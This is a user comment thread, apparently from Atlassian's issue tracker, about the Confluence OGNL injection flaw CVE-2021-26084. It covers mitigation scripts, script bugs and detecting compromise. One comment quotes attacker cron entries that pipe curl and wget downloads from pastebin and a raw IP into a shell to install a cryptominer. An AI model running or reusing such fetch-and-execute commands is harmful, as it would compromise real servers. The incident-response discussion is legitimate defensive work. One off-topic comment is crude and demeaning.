Hi

I posted this question Is the HOTFIX workaround for CVE-2021-26084 still viable? on the community channel.  My basis is that when the hotfix was released, researchers reversed engineered it to find and test the vulnerability, so understandably, persistent threat actors may try to find a way to create a workaround for the workaround.  

Has there been any hint of this, that someone has found a way around this hotfix?

Just got hit by this. Atlassian seems to indicate that upgrading alone is enough. Yet I found the crontab hack mentioned above. Would the Confluence upgrade process have deleted that? Do I need to worry about other malicious files/scripts/binaries this thing has installed?

If you were hacked before the fix was applied then the cleanup of this is yours. There are many ways how this exploit is used, installing a crontab is just one of them. Atlassian can only fix the security hole.

Just got hit by this. Atlassian seems to indicate that upgrading alone is enough. Yet I found the crontab hack mentioned above. Would the Confluence upgrade process have deleted that? Do I need to worry about other malicious files/scripts/binaries this thing has installed?

I am using Atlassian Confluence 3.5.2, the Enterprise Wiki.

Will this notice be included in the Affected versions as well as version 3.5.2?
Or is version 3.5.2 excluded from Affected versions?

I wonder if I should patch version 3.5.2  or not.

If you look at what is possible with this exploit - https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md then you will see that reading your database connection details https://confluence.atlassian.com/confkb/how-to-find-confluence-s-database-connection-parameters-779172320.html#:~:text=Solution,xml%20file is an absolutely trivial and a straightforward thing.

The question "if they have done anything like that" remains open. 

Does the exploit involve a possibility for the attacker to inject malicious content in the database / is the execution of arbitrary code based on any injected content in the database ?

In order to restore our system to make sure malicious code is not present on our server, we would like to know, if we can restore to a backup, apply the hotfix and import the current database content, so we do not lose a couple of days worth work in the system.

Regarding my comment about the failed 5th patch: I downloaded Confluence 5.10.9 and checked how the file looks there. It has those additional lines at the end which we do not have in our version:

## This should only be set by Synchrony/collaborative-editor-plugin and here for Content Reconciliation
#tag ("Hidden" "id=syncRev" "name='syncRev'" "value='$!{action.syncRev}'")
 

So it seems that we are safe when not using this plugin.

Can you trust all the users/systems you have inside your VPN/firewall?

mleung, the exploit involves making an HTTP request to the server.   If untrusted users are able to do that, then they can exploit the vulnerability.  so it depends on your firewall/VPN configuration.

Since Atlassian is not responding to the question of whether Confluence instances running behind a VPN/firewall are vulnerable, can anyone whose Confluence instance has been compromised by this OGNL injection vulnerability exploit (CVE-2021-26084) please state if yours is running behind a VPN/firewall or running publicly? Thanks!

Is there any further information regarding indicators of compromise (IoC's)?

Hi Pandiyan,
we have the same problem with a running Confluence on Solaris.
Did you get some feedback on your ticket ? Perhaps a modified shell-script which adressed the SED-problem ?
Thank you very much !
Regards,
Olaf

We applied the mitigation on our 7.4 instance but it didn't completely fix the vulnerability, because the next day we were notified that our instance was used for a DDOS attack with huge outgoing traffic. So we had to shutdown the 7.4 instance, built a new one on 7.13 and migrate over.

removed the incorrect dbl-quote from lines 23 and 25 in confluence\pages\createpage-entervariables.vm and that fixed the issue.

Hi everybody

Any idea if the Windows version of the patch will still be corrected? We patched our server earlier this week and we're also experiencing the issue Volker highlighted when attempting to create pages from templates

Only seems to impact templates that contain variables.

org.apache.velocity.exception.ParseErrorException: Invalid arg #4 in directive #tag/pages/createpage-entervariables.vm[line 23, column 21]

+1 on Vedant comment

+1 on Vedant question

Hi Atlassian Team, can you please provide inputs to the below questions:

1. How can we verify if the workaround is applied or not?
2. What is the severity for Confluence running behind the VPN/firewall?

Thanks

Thanks, but the definition of temporary still doesnt make sense in the context of mitigation in my opinion. Either it works or it doesn't.

"checking that the temporary workaround script ran to completion without any errors" is not an answer to the question how I can verify if the workaround script really fixed the vulnerability. How can we verify if the workaround script really fixed CVE-2021-26084 in our Confluence installation?

Hi again,

Here is what the support team answered to me :

"

To confirm that the Confluence instance is mitigated against the CVE-2021-26084 vulnerability, checking that the temporary workaround script ran to completion without any errors, and that Confluence was restarted is all that is required.

Due to the critical rating of the CVSS score for Confluence Security Advisory CVE-2021-26084 - OGNL injection - 2021-08-25, we are not currently publicly disclosing the vulnerable endpoints for testing. We have done extensive testing on all known endpoints and they are mitigated once the workaround script has been successfully applied to a Confluence instance.

 You can find more details on our approach to handling security vulnerabilities.

"

That was what i was thinking, not publishing publicly the explanation on purpose.

Regards.

And why do you announce the patch as a temporary solution?

If you are unable to upgrade Confluence immediately, then as a temporary workaround, you can mitigate the issue by running the script below for the Operating System that Confluence is hosted on.

Does it fix the issue or not? What does temporary mean in this context?

Hello Eric Lam or someone else from the Atlassian support team,

could you please answer, if the patch completely mitigates the security issue?

The last post I can see from your site is 1 week ago! Please keep us customers more up to date!

Hi all,

Ran the script and got the "updates completed" so all is ok i guess.

But how can we be sure, how to check the vulnerability is fixed, if my customer asks me ?

Thanks

Regards.

We are running Confluence from a Docker image - atlassian/confluence-server:7.5.0. Does the image that was pushed two days ago (Docker Image ID 181317476ee0) include the work around?

We were affected by this. Pretty distasteful that RCE vulnerabilities are still happening in 2021 with technologee ramping up this hard. Nasdaq is up 23% YTD and we are still having silly issues like this happen and plague users of this highly non-performant software.

Any credits being offered to customers as a result of this bug?

Man I remember one day one guy I know said "hacking is real!Unable to render embedded object: File (" and I was like "no... hacking does not exist, in the same way covid does not" and he was like "y-you're a fool) not found.!!" all shaking and I said "Oh yeah? If hacking is real then hack this DARPA" and he was like "I-I can't..." so he got rekted and admitted defeat, now I'm "dating" his ho of a girlfriend because she left his limp hacking for a chad, that's just life for me I guess

Hello, any update about https://jira.atlassian.com/browse/CONFSERVER-67940?focusedCommentId=2862760&page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel#comment-2862760 ? We have 5.7.1 version.

Thank you

Alex Schuster added a comment - 27/Aug/2021 5:38 PM
On an ancient Confluence 5.8.5, patching file #5 fails, because the string ("Hidden" "id=syncRev does not show up in the TMP_EXTRACT_DIR/templates/editor-preload-container.vm file. Is it still vulnerabe?

Any comment on this please?

Hi all,

While running the workaround (we can´t upgrade our instance inmediately) we got the following errors:

On the oter hand, is there a way to test that the workaround has made our Confluence instance safe?

Can someone give us light on this, please?

Thanks.

Nuria

Hi,

I have a genral question:

Is this vulnerability mainly/only a danger for installatons, accessable by internet or also for internals (not accessibleby internet ) ?

For your info: The scripts on pastebin were trying to download "Kinsing" as described in https://www.bleepingcomputer.com/news/security/atlassian-confluence-flaw-actively-exploited-to-install-cryptominers/

Because on our servers we run confluence as UNIX id "confluence" there is not much it can do. The only relics I found were:

• /var/tmp/go (needed "go" runtime by Kinsing)
• /var/tmp/kinsing

Clamav doesn't recognize those malware bits. You can easily scan for downloaded stuff with (this shows all files owned by the "confluence" user anywhere except the atlassian directories and /proc); you may need to adapt the egrep paths a bit to point to your confluence install dir and confluence data dir (if the paths don't match you will get all files of your installation also listed, because they are also owned by the user id):

find / -user confluence | egrep -v '(/var/atlassian|/opt/atlassian|/proc)'

For me this uncovered the above installations in /var/tmp, the keyword "kinsing" in one of the above files let ring the alarm bells ASAP.

@SebastienHutter

Thanks you very much for your help

good idea with the clamav scan

Starting it right away !

@Etienne Charlier

Yes, the attack was executed with the same pastebin but it was removed on the 25th by the pastebin security team.

Unfortunately, they can't tell us what the contents are without quite the legal hurdle as they require a Subpoena to release its content

Looking at the different cronjobs that where executed since the break different scripts were tried.

None of these can be downloaded anymore. (on debian the cron logs are in /var/log/syslog, in rhel in/var/log/cron)

$ grep -r confluence cron* | grep CMD | cut -d"(" -f3 | sort -u
curl -fsSL https://pastebin.com/raw/rH3ZHAvC | sh)
curl -fsSL https://pastebin.com/raw/UQDDaGQX | sh)
wget -q -O - http://195.3.146.118/cf.sh | bash > /dev/null 2>&1)
wget -q -O - http://195.3.146.118/unk.sh | sh > /dev/null 2>&1)

I am running clamav over the confluence installation directory and data directory at the moment to make sure nothing else was added to the system

// code placeholder
# on deb
apt-get install clamav
sudo freshclam
sudo clamav -l /root/clamav.log -r -i /path/to/confluence/installdir

I dont think I will find anything interesting though. Simply because the attack seems to be very simplistic and feels like a scripted attack to get monero coins for free

I've been researching this issue after applying the temporary workaround until we can set up a maintenance window to do a full upgrade for our Confluence Server application. I'd also like to know if there's way to to determine if a breach has occurred. Fortunately our Linux host sits behind a load balancer and doesn't allow public access without authentication through the load balancer first, so my hope is that our risk is lower.

I don't see any signs of excessive requests or CPU usage in our logs, and I didn't see any additions under /var/spool/cron (the folder is empty) or any other crontabs added that look unfamiliar. The only potentially suspicious file I've found so far is a file named "snappy-unknown-<hash>-libsnappyjava.so" under the /tmp folder on our Linux host that appears to have been created after I had already applied the temporary mitigation script. There are similar files in the "temp" folder under our Confluence installation directory, but the timestamps on them are months old.

Is that file something I need to be worried about? A previous user mentioned that .so files can be loaded and then run arbitrarily as part of this exploit.

Its not too late to send an email out to all customers letting them know the initial advisory was incorrect and they should patch immediately.  The longer you wait to communicate this, the more installs of confluence are getting compromised.

I hope you know that most customers are not monitoring your Jira ticket(s) and won't see updates like the one that Brian made at 3:29PM today to this ticket.

Hey Atlassian, quick suggestion!

ATLASSIAN COMMS - PLEASE READ

This should have gone out as an additional advisory in case you weren't watching this issue. Your initial config notes about allow signups was an indication of systems that weren't affected. To me, this was a communication error on your part and you could have been more proactive in making the correction.

@Sebatien Hutter

Also discovered a rogue entry in /var/spool/cron/crontabs/confluence 

trying to download and run a paste bin with ID  rH3ZHAvC.

Is this the same pastebin ? 

Does anyone has a chance to investigate what this particular pastebin does ?

We have been warned by google cloud our instance was burning cpu like hell...

How to be reasonably confident we are only attacked by miners and not by "something" else more dangerous ?

Our server was compromised - dbus process started from confluence user take 100% CPU cores.

Studies have shown that Monero miner was installed on the server.

yeah thats pretty much what happened on the system.

installed a crontab for the confluence system user which downlaoded a pastebin and executed it.

good to know thanks for the clarification.

Sebastian,

Yes, this is related to the vulnerability, already saw this exact same call, with a payload using java.runtime.Runtime.exec to run something on the VM.

Basically it uses the template's EL to run some java code, and Runtime class is used to run system calls (run a program on the hosting machine). First they have to deploy a library (usually a .so file in /tmp folder - or java temp directory if modified), then use Runtime to execute native code, by loading the .so library and and executing code provided by the library).

Our confluence server was compromised 2 days ago it seems.

I executed the CVE script which hopefully closed the door.

I also would like to know how I can ensure that the mentioned vulnerability was used to breach the system.

As there are no details how the vulnerability is used in the wild its impossible for me to be sure about it.

In the access logs I have started seeing requests like this one which approximately match the time we recognized the breach

```

POST /pages/createpage-entervariables.action?SpaceKey=x

```

Are the requests and the vulnerability related?

Hi,
We are server edition in Linux. I ran the script and it gave me some successful updates.
Are we saying even after running the mitigation steps still opens the door for vulnerability ?

I agree, this would be nice to get info on how to investigate Confluence servers, check wether they are compromised or not (linux and windows).

Regards

Frederic Esnault

Morning Ken,

can you please give us more informations about your system that is compromised? Are you implemented the patch? On what version is your confluence running?
Is your confluence from outside reachable? And how do you recognized that is compromised?

Cheers, Stefan

Echoing Michael Whitehead's question 8 hours ago....is it possible to tell if a server has been compromised?

We had a server compromised this morning and I would like to establish with certainty that it was this vulnerability if possible.

Hi Eric,

it's been 6 days since I asked for advice what to search for in our Confluence apps.

This is a highly critical issue and we want to make sure, that our apps do not provide another gateway for the breach on our customers instances.

As you already find instructions how to exploit the breach, there is no need for secrecy at this point!

Cheers paul

It is pretty astounding that you completely re-worded the definition of how an environment would be affected after sending out the initial emails, yet you failed to send further email communications out regarding the correction.
That is a massive difference in needing to react to this disclosure or not.

Now your customers who had Allow people to sign up to create their account disabled will have actually been exposed for the past week and will be scrambling to patch this ASAP.
This has not been handled well by your security/communications team at all.

Having Just updated our system would there be a quick way to see if we'd been compromised in the interim?

Can confirm the same error as @Volker Weinrich when using templates with variables after the patch via script for Windows. 

Invalid arg #4 in directive

Looks like we need a patch for the patch. 

Just a status report: we applied the script on Tuesday, Server version 7.9.3 on Linux.

Everything seems to work fine.

I created a manual backup of file 5 (jar) in the same directory, which creates an error message on startup. Should be no problem, and you can move the file to somewhere else.

Hi,

yes, I think @Andreas Berge is right with his comment from 30/08/2021. There is a double quote issue in the ps-script. This results in an error when creating a page from certain templates in our instance:

org.apache.velocity.exception.ParseErrorException: Invalid arg #4 in directive #tag/pages/createpage-entervariables.vm[line 23, column 21]

Has anyone else seen an increase in the target response times (latency) since performing the update? We have a canary hitting the home page every 5 minutes so it might be from that.

Indeed I am running the Questions for Confluence plugin too. Thanks Shaun for clarifying this with Atlassian.

Just to close this out for anyone else who had this issue account issue.  We confirmed on the fresh server build the plugin did trigger the account.

Also logged a ticket and they just replied.  Still not a fan of seeing that account, but at least we know it is not related to issue in this thread.

Hi Shaun,

We checked that account internally and it is indeed a Questions for Confluence account created for migration purposes and we can confirm for you that it is safe and not related to the CVE or any other security issue.

Let us know if this answers your question!

Best Regards,
Felipe Thozeski | Atlassian Support

Also having the disabledsystemuser in my system, we also run Questions by Confluence.  We are building up a new Confluence instance and then installing the plugin to see if it appears then.

uwe5 we have the same, created 17/Aug/2021.  Any further info from anyone would be great.

Actually, on two systems of mine (prod and test), this user was created right at the time I updated the plugin / app called "Questions for Confluence Plugin".  Same for you ?

Is our Confluence System affected when using SSO with Jira-Application-Link? Our Confluence is connected to Jira and Jira handle the user management.

Can you please confirm that the cve-2021-26084-update.ps1 script for Windows is correct.

IMHO there is an error for file 3 (confluence\pages\createpage-entervariables.vm):

-Replace '("Hidden" "name=.([a-zA-Z]+)." "value=).\$[!l][^"]+', '$1$2"'

A double quote (") is missing at the end of the string to replaced of the double quote at the end of the replace string must be removed.

In the other replacements, it is correct, also in the correspondent part of the UNIX shell script.

The output for file 3:

File 3: 'confluence\pages\createpage-entervariables.vm':
   a. backing up file..
   b. updating file..
   c. showing file changes..

InputObject   :                 #tag ("Hidden" "name='queryString'" "value='$!queryString'")
SideIndicator : =>

InputObject   :                 #tag ("Hidden" "name='linkCreation'" "value='$linkCreation'")
SideIndicator : =>

InputObject   :                 #tag ("Hidden" "name='queryString'" "value=queryString"")
SideIndicator : <=

InputObject   :                 #tag ("Hidden" "name='linkCreation'" "value=linkCreation"")
SideIndicator : <=

   d. file updated successfully!

As you can see, the tag-lines are now (after running the script) with two double quotes.

 Hi Eric Lam/APAC,

Have created support ticket for sharing cve-2021-26084-update.sh compatible with Solaris CA-1486532 Please check and do needful, TIA!

After i restarted the single node server... i get a wizzard for DC migration!

I've never asked for an DC migration. So how can i stop this? and reach the Dashboards without configure a cluster?

I couldn't find the confluence.cfg.xml file for disabling the properties, can somebody help out?

We have a Confluence Single Node 6.13.7 Version
 
<property name="cluster.setup.ready">false</property>

In my user management suddenly a user named "disabledsystemuser" with the email "dontdeletethisuser@email.com" appears.

I wonder if this is already an attacker?

I searched through Google but couldn't find anything about this.

Does someone know?

On an ancient Confluence 5.8.5, patching file #5 fails, because the string ("Hidden" "id=syncRev does not show up in the TMP_EXTRACT_DIR/templates/editor-preload-container.vm file. Is it still vulnerabe?

Hey Atlassian - you really need to resend the email to users and inform them that the advisory has been updated.

Thanks for the mitigation script.  It could do with saving a .original of the .jar file as well as the .vm files.

To make the cve-2021-26084-update.sh script work directly within the official docker images ("zip"/"unzip" is missing), it is better to use "jar" (which is installed). So i did the following changes:

unpacking:

• old:

  unzip -o -d $TMP_EXTRACT_DIR $CONFLUENCE_EDITOR_JAR templates/editor-preload-container.vm

• new:

  jar xf $CONFLUENCE_EDITOR_JAR templates/editor-preload-container.vm

packing:

• old:

  zip "$CONFLUENCE_EDITOR_JAR" $TMP_EXTRACT_DIR/templates/editor-preload-container.vm

• new:

  jar uf "$CONFLUENCE_EDITOR_JAR" $TMP_EXTRACT_DIR/templates/editor-preload-container.vm

Hi ppasler,

I have passed your question onto our Securities Team on the best way forward to assist with your request.

Kind Regards,
Eric Lam
Senior Support Engineer - Confluence and Crowd Server
Atlassian Support | APAC

Hi Eric Lam,

are there any further information for app vendors / developers? What can we do to make sure our apps are safe against this threat?

Thanks in advance!

Thanks Eric, didnt see that there was a powershell option - we just ran an emergency upgrade today instead.

Thanks Eric , support ticket raised : CSP-295776

Hi 26d6ebb4211e and 244f080dcd61,

Would you mind creating a Support Ticket at https://support.atlassian.com referencing this ticket and request the ticket to be assigned to Eric Lam/APAC onto the Support Ticket. I can then assist on sharing an updated version of cve-2021-26084-update.sh compatible with Solaris.

Hi phamilton-harding - unfortunately, due to the complexity of the mitigation steps requiring regular expressions, the Windows mitigation script is dependent on PowerShell. If you are unable to upgrade immediately and require assistance applying the mitigation steps, please kindly raise a ticket with us at https://support.atlassian.com and we can further assist.

Kind Regards,
Eric Lam
Senior Support Engineer - Confluence and Crowd Server
Atlassian Support | APAC

Any chance of a batch version of the mitigation script for Windows installations?

Yup ,  +1 we also have a Solaris host that requires this

The script for Mitigation https://confluence.atlassian.com/doc/files/1077906215/1077916296/2/1629936383093/cve-2021-26084-update.sh is not supporting for Solaris platform, request team to work to support for solaris hosts

Got clarification from Atlassian on the issue:

updated our Security Advisory regarding CVE-2021-26084 to help clarify that the temporary workaround script must be run even if Confluence Administration > User management > User Signup Options > Allow people to sign up to create their account is not enabled.

There are additional endpoints identified that still expose Confluence to the CVE-2021-26084 Confluence Server Webwork OGNL injection and applying the workaround script will assist in temporarily mitigating against all known vulnerable endpoints.

You are vulnerable even if "Allow people to sign up to create their account" is disabled.

Can we please get some clarification on the removal of the below form the CVE.  Are we or are we NOT vulnerable with this disabled? 

I notice that the following detail has been removed from the advisory this morning:

• The vulnerable endpoints can be accessed by a non-administrator user or
  unauthenticated user if ‘Allow people to sign up to create their account’ is
  enabled. To check whether this is enabled go to

> User management > User Signup Options.

Does that mean that we are vulnerable even if the "Allow people to sign up to create their account" is disabled or never enabled?

Please clarify the removal of this portion of the original CVE, rather important we know this information Atlassian

Is Atlassian updating the Confluence Docker images w/ the script or do we need to do that ourselves if we utilize them? We are using 7.11.2 currently.

Edit - Atlassian said they are not updating their images at this time. You can apply the workaround to the containers directly. 

I notice that the following detail has been removed from the advisory this morning:

• The vulnerable endpoints can be accessed by a non-administrator user or
  unauthenticated user if ‘Allow people to sign up to create their account’ is
  enabled. To check whether this is enabled go to

> User management > User Signup Options.

Does that mean that we are vulnerable even if the "Allow people to sign up to create their account" is disabled?

Do we need to back up the database and the data folder before we run the shell script "cve-2021-26084-update.sh"?

Someone asked my why that was / is not yet not available at https://nvd.nist.gov/ 
Any clues?

Hi,

We are on confluence version 7.4.1 and the option "Allow people to sign up to create their account" is not enabled for our instance. Also we are using SSO plugin to login to the application. In that case still we have to apply the patch?

Find the script from https://confluence.atlassian.com/doc/files/1077906215/1077916296/2/1629936383093/cve-2021-26084-update.sh 

Where can we download the script to patch Confluence instance?

FWIW, if anyone would be running confluence 5.x - say 5.8.14 - the CVE can be temporarily mitigated by editing the cve script and removing operations on the fifth file (unpacking, modifying a .vm file, repacking).

I know nobody would be running such an old version, of course, but if their friends would.......... 

I'm with Pandiyan, and would also need to know if a non-public Confluence instance, with no ability to create any pages, and with user-sign disabled is still vulnerable to unauthenticated users. This would help us with the reaction planning.

@Eric Lam

I am running on confluence server 7.4.1 and not able to see "User Signup Options" under ** Confluence Administration > User management and we are using custom Atlassian login plugin which redirects to SSO to login. 

under "Users" able to see only below tabs

• List users
• unsynced from directory

Is this patch applicable in that scenario ? If yes, please let me know how to achieve in 7.4.1 confluence server edition

Note: New user-signin feature is not enabled

I know this a narrow ridge for you, but are there any hints what we, as app developers, should search for in our apps? We want to make sure, that our apps are safe in terms of OGNL injection. Are there any Confluence service to sanitize OGNL user input?

As far as I can see it, the problem occurs if user input is directly used in velocity templates, right?

Hi all,

The temporary workaround script must be run even if Confluence Administration > User management > User Signup Options > Allow people to sign up to create their account is not enabled.

There are additional end points identified that still expose Confluence to the CVE-2021-26084 Confluence Server Webwork OGNL injection and applying the workaround script will assist in temporarily mitigating against all known vulnerable end points.

Our Securities Team have since reviewed the wording on the Confluence Security Advisory CVE-2021-26084 - OGNL injection - 2021-08-25 and have removed this ambiguity.

If you run into any issues upgrading or applying the workaround, please don't hesitate to raise a ticket with us at support.atlassian.com.

Kind Regards,
Eric Lam
Senior Support Engineer - Confluence and Crowd Server
Atlassian Support | APAC

+1

same here...the "Allow people to sign up to create their account’ is not enabled. is that ok? or still have to apply the patch/fix?

I don't see this option  "Allow people to sign up to create their account’ is not enabled for my confluence instance. So this means okay ?

Based on the patch it looks like if "Allow people to sign up to create their account" is NOT enabled then you need a valid login to exploit it.  Considering they are patching the login screen I would assume anyone who can login can exploit this regardless of public signup.  They also patch the create page and editor pages.

• confluence/users/user-dark-features.vm
• confluence/login.vm
• confluence/pages/createpage-entervariables.vm
• confluence/template/custom/content-editor.vm
• templates/editor-preload-container.vm

+1

+1

Not sure I understand the link between allowing user account creation and template evaluation.

+1

+1

+1

@dsjoo - also wondering the same thing

Is it necessary to run the cve-2021-26084-update.sh Mitigation script even if "Allow people to sign up to create their account" is NOT enabled?

This is an independent assessment and you should evaluate its applicability to your own IT environment.

CVSS v3 score: 9.8 => Critical severity

Exploitability Metrics

Scope Metric

Impact Metrics

https://asecurityteam.bitbucket.io/cvss_v3/#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H